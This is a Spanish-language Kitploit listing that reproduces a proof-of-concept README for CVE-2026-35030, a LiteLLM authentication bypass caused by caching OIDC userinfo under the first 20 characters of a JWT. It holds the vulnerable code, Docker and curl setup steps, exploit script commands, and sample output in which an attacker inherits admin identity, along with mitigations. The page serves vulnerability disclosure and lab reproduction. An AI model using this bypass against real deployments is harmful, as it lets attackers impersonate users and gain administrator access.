Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-35030-PoC — El código para reproducir personalmente la vulnerabilidad correspondiente | Kitploit
Herramientas/GitHubGitHub/learner202649/cve-2026-35030-poc
Análisis de VulnerabilidadesExplotaciónSeguridad WebCriptografíaPruebas de PenetraciónAutenticaciónAprendizaje y EducaciónLabs y Práctica
GitHublearner202649/cve-2026-35030-poc

CVE-2026-35030-PoC

El código para reproducir personalmente la vulnerabilidad correspondiente

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-35030 — Bypass de autenticación en LiteLLM mediante colisión de clave de caché de userinfo OIDC

LiteLLM utiliza token[:20] como clave de la caché de userinfo OIDC. Dos JWTs distintos firmados con el mismo algoritmo producen los primeros 20 caracteres idénticos, lo que permite a un atacante no autenticado heredar la identidad y los permisos en caché de otro usuario.

CampoValor
CVECVE-2026-35030
CVSS v4.09.4 (CRÍTICO) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
CVSS v3.19.1 (CRÍTICO) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-287 (Autenticación incorrecta) / CWE-222 (Credenciales insuficientemente protegidas)
AfectadosLiteLLM < 1.83.0 (con enable_jwt_auth: true)
Corregido env1.83.0+ (clave de caché cambiada a sha256(token))
Publicado2026-04-06
Descubierto porVeria Labs
EnlacesGHSA-jjhc-v7c2-5hh6 • NVD • GitLab Advisory

Descripción

LiteLLM es un AI Gateway / servidor proxy para invocar APIs de LLM. Cuando la autenticación JWT está habilitada (enable_jwt_auth: true), LiteLLM valida los tokens contra un proveedor OIDC y almacena en caché la respuesta de userinfo.

La vulnerabilidad: la clave de caché utiliza solo los primeros 20 caracteres del JWT:

root@kitploit:~
# Vulnerable code (pre-1.83.0)
cache_key = token[:20]   # Only first 20 characters!

Un JWT se compone de tres segmentos codificados en base64url separados por puntos:

root@kitploit:~
<header>.<payload>.<signature>

El header (p. ej., {"alg":"RS256","typ":"JWT"}) se codifica de manera idéntica para todos los tokens que utilizan el mismo algoritmo de firma. Esto significa que dos JWTs diferentes — emitidos para usuarios completamente distintos — tendrán los mismos primeros 20 caracteres.

Flujo del ataque

root@kitploit:~
1. Admin authenticates → LiteLLM fetches userinfo → cached with key = token[:20]
                                                                    ↑
2. Attacker crafts JWT with same algorithm (RS256) ────────────────┘
   → token[:20] is IDENTICAL → cache HIT → inherits admin identity

Impacto

  • Bypass de autenticación: el atacante hereda la identidad de cualquier usuario en caché
  • Escalada de privilegios: si el userinfo del administrador está en caché, el atacante obtiene privilegios de administrador
  • Violación de confidencialidad + integridad: el atacante puede acceder/modificar recursos como la víctima
  • No se requiere autenticación (el atacante puede estar no autenticado)

Nota sobre la licencia empresarial: la autenticación JWT/OIDC es una funcionalidad exclusiva de la edición empresarial en LiteLLM (requiere LITELLM_LICENSE). Para la reproducción local del CVE, ambos Dockerfiles parchean la comprobación de premium_user a True. Esto no afecta a la vulnerabilidad: la colisión de clave de caché (token[:20]) existe independientemente de la comprobación empresarial.

El primer arranque ejecuta las migraciones de Prisma (~60-90 s). LiteLLM estará listo cuando los registros muestren "Uvicorn running on http://0.0.0.0:4000".

Prueba de concepto

Inicio rápido (Docker)

root@kitploit:~
# 1. Build and start vulnerable LiteLLM + mock OIDC provider
docker compose up -d --build

# 2. Install Python dependencies
pip install -r requirements.txt

# 3. Create test users (required for JWT auth — master key needed)
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "attacker", "role": "proxy_admin"}'

# 4. Demonstrate the cache key collision
python3 exploit/exploit.py --mode demo

# 5. Run the full exploit (auth bypass via cache collision)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000

# 6. (Optional) Verify it's fixed in v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed

Salida esperada

Modo demo — muestra la colisión de clave de caché:

root@kitploit:~
[+] Admin JWT    (subject=admin):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[+] Attacker JWT (subject=attacker):
    Token:     eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
    Prefix:    'eyJhbGciOiJSUzI1NiIs'

[🔥] COLLISION: Both tokens share the same first 20 characters!
    Reason: Both tokens use RS256 signing → identical JWT header base64 → identical first 20 characters
    → cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'

Modo exploit — demuestra el bypass de autenticación real:

root@kitploit:~
[VULNERABLE] Exploit Attempt — target: http://localhost:4000

[*] Step 1: Obtaining JWTs from OIDC provider...
    Prefix collision: True

[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] Step 3: Sending attacker JWT (cache collision attempt)...
    HTTP 200
    Response: {"user_id": "admin", ...}   ← INHERITED ADMIN!

[🔥] EXPLOIT SUCCEEDED! Attacker inherited admin identity!
        Attacker's token[:20] matched admin's cache key.
        Response user_id='admin' (expected 'admin' for escalation)

Versión corregida — la clave de caché sha256 evita la colisión:

root@kitploit:~
[FIXED] Exploit Attempt — target: http://localhost:4001

[*] Step 1: Obtaining JWTs from OIDC provider...
    Prefix collision: True

[*] Step 2: Sending admin JWT to LiteLLM (populates OIDC cache)...
    HTTP 200
    Response: {"user_id": "admin", ...}

[*] Step 3: Sending attacker JWT (cache collision attempt)...
    HTTP 200
    Response: {"user_id": "attacker", ...}   ← OWN IDENTITY preserved

    [+] Attacker identified as user_id='attacker'.
        Fixed version: cache collision prevented.

Detalles técnicos

Causa raíz

En litellm/proxy/auth/handle_jwt.py, la caché de userinfo OIDC se indexa mediante token[:20]:

root@kitploit:~
# Vulnerable (pre-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}"   # Only first 20 chars!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
    return cached_userinfo  # Cache hit → skip userinfo fetch!

# Fixed (v1.83.0+) — same file, line 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"

Por qué token[:20] es insuficiente

Componente del token¿Incluye datos específicos del usuario?¿Fijo para el mismo algoritmo?
Header (primeros ~30 caracteres)❌ No✅ Sí — base64 idéntica
Payload (específico del usuario)✅ Sí❌ No — único por usuario
Firma✅ Sí❌ No — única por clave

Dado que el header es la única parte dentro de los primeros 20 caracteres, y el header es idéntico para todos los tokens que utilizan el mismo algoritmo de firma, todo JWT RS256 del mismo emisor tiene exactamente los mismos primeros 20 caracteres.

Escenarios de ataque

EscenarioDescripción
Escalada de privilegiosUn usuario con pocos privilegios se convierte en administrador mediante la colisión de caché
Suplantación horizontalSuplantar a cualquier usuario cuyo userinfo esté en caché
Cadena de bypass de autenticaciónCombinar con CVE-2026-35029 para lograr RCE

Entorno

root@kitploit:~
CVE-2026-35030/
├── README.md                    # This file
├── docker-compose.yml           # Vulnerable + fixed LiteLLM + mock OIDC
├── litellm_config.yaml          # LiteLLM config with JWT auth enabled
├── requirements.txt             # Python dependencies (PoC)
├── litellm-vuln/
│   └── Dockerfile               # Vulnerable LiteLLM v1.82.5 with enterprise patch
├── litellm-fixed/
│   └── Dockerfile               # Fixed LiteLLM v1.83.0+ with sha256 cache key
├── oidc-provider/
│   ├── Dockerfile               # Mock OIDC provider image
│   ├── requirements.txt
│   └── server.py                # OIDC mock (FastAPI)
├── exploit/
│   ├── exploit.py               # Main PoC exploit script
│   └── token_forge.py           # JWT collision utilities
├── docs/
│   └── advisory.md              # Advisory reference
└── screenshots/
    └── README.md                # Proof screenshots placeholder

Mitigación

  1. Actualizar a LiteLLM v1.83.0+ (la clave de caché utiliza sha256(token))
  2. Deshabilitar la autenticación JWT/OIDC si no es necesaria: enable_jwt_auth: false
  3. Restringir la exposición en red de los endpoints de LiteLLM
  4. Establecer un TTL corto para la caché OIDC a fin de reducir la ventana de ataque

Referencias

  • GitHub Security Advisory GHSA-jjhc-v7c2-5hh6
  • GitLab Advisory
  • Detalle en NVD
  • Endurecimiento de seguridad de LiteLLM (abril de 2026)
  • Lanzamiento v1.83.0-stable

Aviso legal: este contenido se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.

Descargar herramienta